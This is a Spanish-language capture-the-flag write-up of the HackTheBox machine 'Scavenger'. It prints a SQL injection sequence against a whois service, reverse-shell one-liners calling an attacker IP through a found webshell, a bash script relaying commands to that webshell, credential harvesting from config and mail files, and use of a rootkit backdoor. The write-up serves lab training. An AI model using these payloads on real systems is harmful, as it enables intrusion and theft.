HTB_Scavenger
Scavenger {-}
Introduccion {-}
La maquina del dia 29/07/2021 se llama Scavenger .
El replay del live se puede ver aqui
No olvideis dejar un like al video y un comentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.155
ttl: 63 -> maquina linux. Recuerda que tratandose de ttl, 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.155
Si consideras que va muy lento puedes meter los siguientes parametros para que valla mucho mas rapido
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.155 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p20,21,22,25,43,53,80 10.10.10.155 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
20 | ftp-data | ||
21 | ftp | conectar como anonymous | |
22 | ssh | conexion directa | usuario y contraseña |
25 | smtp | email -> exim | usuario y contraseña |
43 | whois | SUPERSECHOSTING WHOIS (http://www.supersechosting.htb) | |
53 | domain | Domain zone transfer -> attacke de transferencia de zona | |
80 | http | con el puerto 53 pensamos en virt hosting |
Connectar al ftp como anonymous {-}
ftp 10.10.10.155
Name: anonymous
password: <enter>
#Output
530 Login incorrect.
No nos deja entrar como anonymous
Analyzando la web {-}
Checkeamos la web port el ip {-}
Hablan de virtualhosting
nano /etc/hosts
Intentamos conectarnos otra vez a la web pero ahora con el url http://supersechosting.htb
y tenemos el mismo resultado.
Evaluacion de vulnerabilidades {-}
Ataque de transferencia de zona {-}
Para hacer ataques de transferencia de zona, utilizamos la herramienta Dig (que no hay que confundir con Dick ;)…)
-
Controlar que la resolucion de dominio funciona
dig @10.10.10.155 supersechosting.htb
-
Como la resolucion funciona vamos a transmitir peticiones dns
dig @10.10.10.155 supersechosting.htb ns dig @10.10.10.155 supersechosting.htb mx
-
Ejecutamos el ataque de transferencia de zona
dig @10.10.10.155 supersechosting.htb axfr
Aqui vemos que es vulnerable y vemos unos dominios
- root.supersechosting.htb
- ftp.supersechosting.htb
- whois.supersechosting.htb
- www.supersechosting.htb
- mail1.supersechosting.htb
- ns1.supersechosting.htb
Los añadimos al /etc/hosts
```{r, echo = FALSE, fig.cap=”hosts despues del domain transfer attack”, out.width=”90%”} knitr::include_graphics(“images/scavenger-hosts2.png”)
Whois {-}
Como el puerto 43 esta abierto. podemos intentar conectar con la maquina para entablar peticiones whois.
nc 10.10.10.155 43
EEEE
#Output
% SUPERSECHOSTING WHOIS server v0.5beta@MariaDB10.1.37
% This query returned 0 object
Como vemos que MariaDB esta por detras intentamos ponerle una comilla
nc 10.10.10.155 43
'
#Output
% SUPERSECHOSTING WHOIS server v0.5beta@MariaDB10.1.37
1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB...
SQL Injection por Whois {-}
Como el mensaje nos da the right syntax to use near "''")
ya vemos como podemos montarnos el ataque.
nc 10.10.10.155 43
') ORDER BY 100#
#Output
Unknown column '100' in 'order clause'
Como vemos que no puede ordenarnos la query por la columna 100 quiere decir que no hay 100 columnas. Investigamos para encontrar cuantas columnas hay.
nc 10.10.10.155 43
') ORDER BY 4#
#Output
Unknown column '4' in 'order clause'
nc 10.10.10.155 43
') ORDER BY 3#
#Output
Unknown column '3' in 'order clause'
nc 10.10.10.155 43
') ORDER BY 2#
#Output
% This query returned 0 object
Ya vemos aqui que hay dos columnas. Podemos aplicar un UNION SELECT para ver las etiquetitas a traves de las cuales podemos injectar los datos con queries.
nc 10.10.10.155 43
') union select 1,2#
#Output
% This query returned 1 object
1
Vemos aqui que injectaremos por la data 1.
-
Qual es la base de datos
nc 10.10.10.155 43 ') union select database(),2# #Output % This query returned 1 object whois
-
Qual es la version
nc 10.10.10.155 43 ') union select version(),2# #Output % This query returned 1 object 10.1.37-MariaDB-0
-
Qual son las tablas de la base de datos whois
nc 10.10.10.155 43 ') union select table_name,2 from information_schema.tables where table_schema = "whois"# #Output % This query returned 1 object customers
-
Qual son las columnas de la tabla customers
nc 10.10.10.155 43 ') union select column_name,2 from information_schema.columns where table_schema = "whois" and table_name = "customers"# #Output % This query returned 3 object iddomaindata
Aqui podria ser turbio y puede ser mejor de enumerar columnas por columnas
nc 10.10.10.155 43 ') union select column_name,2 from information_schema.columns where table_schema = "whois" and table_name = "customers" limit 0,1# #Output % This query returned 1 object id nc 10.10.10.155 43 ') union select column_name,2 from information_schema.columns where table_schema = "whois" and table_name = "customers" limit 1,1# #Output % This query returned 1 object domain nc 10.10.10.155 43 ') union select column_name,2 from information_schema.columns where table_schema = "whois" and table_name = "customers" limit 2,1# #Output % This query returned 1 object data
-
Enumerar lo que hay a dentro de la columna domain
nc 10.10.10.155 43 ') union select domain,2 from customers# #Output % This query returned 4 object supersechosting.htbjustanotherblog.htbpwnhats.htbrentahacker.htb
Aqui tambien se podria hacer un limit 0,1 1,1 etc…
Ya podemos añadir estos dominios en el /etc/hosts
.
```{r, echo = FALSE, fig.cap=”hosts despues del sqli”, out.width=”90%”} knitr::include_graphics(“images/scavenger-hosts3.png”)
### Ataque de transferencia de zona Part 2 {-}
![scaveer-hosts3](../assets/images/scavenger-hosts3.png)
```bash
dig @10.10.10.155 justanotherblog.htb axfr
dig @10.10.10.155 pwnhats.htb axfr
dig @10.10.10.155 rentahacker.htb axfr
El ultimo dominio nos muestra un dominio turbio sec03.rentahacker.htb
. Lo añadimos nuevamente en el /etc/hosts
y por firefox
nos conectamos. Por fin algo nuevo.
Esta pagina nos hace pensar que gente ya a hackeado la pagina por otros Haxxors. Si es el caso, fuzzeamos la pagina.
Web Fuzzing con WFuzz {-}
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://sec03.rentahacker.htb/FUZZ
Aqui hay un poco de todo. Intentamos fuzzear por archivos PHP
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://sec03.rentahacker.htb/FUZZ.php
Ya encontramos un fichero shell.php. Visitamos la pagina por firefox y efectivamente parece una shell pero no tenemos el nombre del comando usado para ejecutar los comandos. Lo buscamos con WFUZZ diciendole de ocultar las respuestas que retornan 0 palabras.
wfuzz -c -t 200 --hc=404 --hw=0 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://sec03.rentahacker.htb/shell.php?FUZZ=whoami
encontramos el comando hidden
Explotacion de vulnerabilidad & Ganando acceso {-}
Crear una reverse shell desde la webshell {-}
-
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
En la web
http://sec03.rentahacker.htb/shell.php?hidden=nc -e /bin/bash 10.10.14.20 443 http://sec03.rentahacker.htb/shell.php?hidden=bash -i >& /dev/tcp/10.10.14.20/443 0>&1 http://sec03.rentahacker.htb/shell.php?hidden=bash -c "bash -i >& /dev/tcp/10.10.14.20/443 0>&1" http://sec03.rentahacker.htb/shell.php?hidden=bash -c 'bash -i >& /dev/tcp/10.10.14.20/443 0>&1' http://sec03.rentahacker.htb/shell.php?hidden=whoami | nc 10.10.14.20 443
Como aqui vemos que nada functionna, pensamos que hay reglas que son definidas en el iptables
Creamos una FakeShell {-}
En el directorio exploits creamos un fichero fakeShell.sh
que contiene
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
exit 1
}
# Ctrl+C
trap ctrl_c INT
# Variables globales
declare -r main_url="http://sec03.rentahacker.htb/shell.php"
while true; do
echo -n "[~] " && read -r command
echo; curl -s -X GET -G $main_url --data-urlencode "hidden=$command"; echo
done
Ya lo podemos lanzar con el comando rlwrap ./fakeShell.sh
[ ! ] Notas: Las explicaciones del script se pueden ver en el video live en el minuto 1:15:38
Tambien se podria utilizar la herramienta creada por s4vitar ttyoverhttp
Enumeramos el equipo {-}
ls -l /home
whoami
ls -l /home/ib01c03
ls wp-config.php
find \-name wp-config.php
find / \-name wp-config.php
cat /home/ib01c03/www/wp-config.php
Vemos un fichero comprimido de wordpress. Buscamos el fichero de configuracion de wordpress que suele tener credenciales en
texto claro. Una vez encontrado lo miramos con cat
. Encontramos usuario y contraseña para el servicio mysql. Aqui no hay nada interesante.
Chequeamos ficheros del servicio SMTP {-}
Los ficheros de email suelen ser guardados en el /var/spool/mail
. Aqui vemos dos ficheros y une tiene credenciales para el FTP en texto claro.
Conexion por ftp {-}
ftp 10.10.10.155
Name: ib01ftp
Password:
ya hemos podido entrar en la maquina. Vemos archivos y nos los descargamos a la maquina de atacante
binary
prompt off
mget *
Hay ficheros interesantes como notes.txt
o ib01c01.access.log
que nos dan pistas pero nosotros vamos a por el fichero ib01c01_incident.pcap
Investigamos el fichero pcap con TShark {-}
tshark -r ib01c01_incident.pcap
tshark -r ib01c01_incident.pcap -Y "http.request.method==POST" 2>/dev/null
tshark -r ib01c01_incident.pcap -Y "http.request.method==POST" -Tjson 2>/dev/null
tshark -r ib01c01_incident.pcap -Y "http.request.method==POST" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r
Analizando aqui encontramos passwords que son codeadas en url-encode. Tratamos de conectar con el usuario de estos ficheros ib01c01
con la
nueva contraseña y pa dentro. Ya podemos ver el fichero user.txt
Continuacion de la investigacion con Wireshark {-}
Aqui llegamos a una parte bastante complicada de explicar por escrito. Mejor verlo directamente con el video desde el minuto 1:40:45 De echo esta parte explica como encuentra un modulo rootkit en el sistema y explica como tratarla.
Escalada de privilegios {-}
Rootear la maquina {-}
La escalada de privilegio aqui se hace utilizando el rootkit.
ls -l /dev/ttyR0
Aqui vemos que el rootkit esta instalado. Continuamos con lo que la web del rootkit nos dice.
echo "g0tR0ot" > /dev/ttyR0; id
Pero no functionna. Pensamos aqui que los atacantes que han instalado el rootkit cambiaron la contraseña.
Segun la web, la contraseña se encuentra en un fichero root.ko
y mirandolo bien hay un directorio que se
llama ...
(Que cabron)
cd ...
binary
get root.ko
Una vez descargado y como es un binario, tratamos de ver lo que pasa a mas bajo nivel con radare2
radare2 root.ko
aaa
afl
sym.root_write
pdf
```{r, echo = FALSE, fig.cap=”radare2 root.ko”, out.width=”90%”} knitr::include_graphics(“images/radare2rootko.png”)
Vemos esta parte interesante y probamos una vez mas con:
root
![radare2rootko](../assets/images/radare2rootko.png)
Ya estamos root y podemos ver la flag.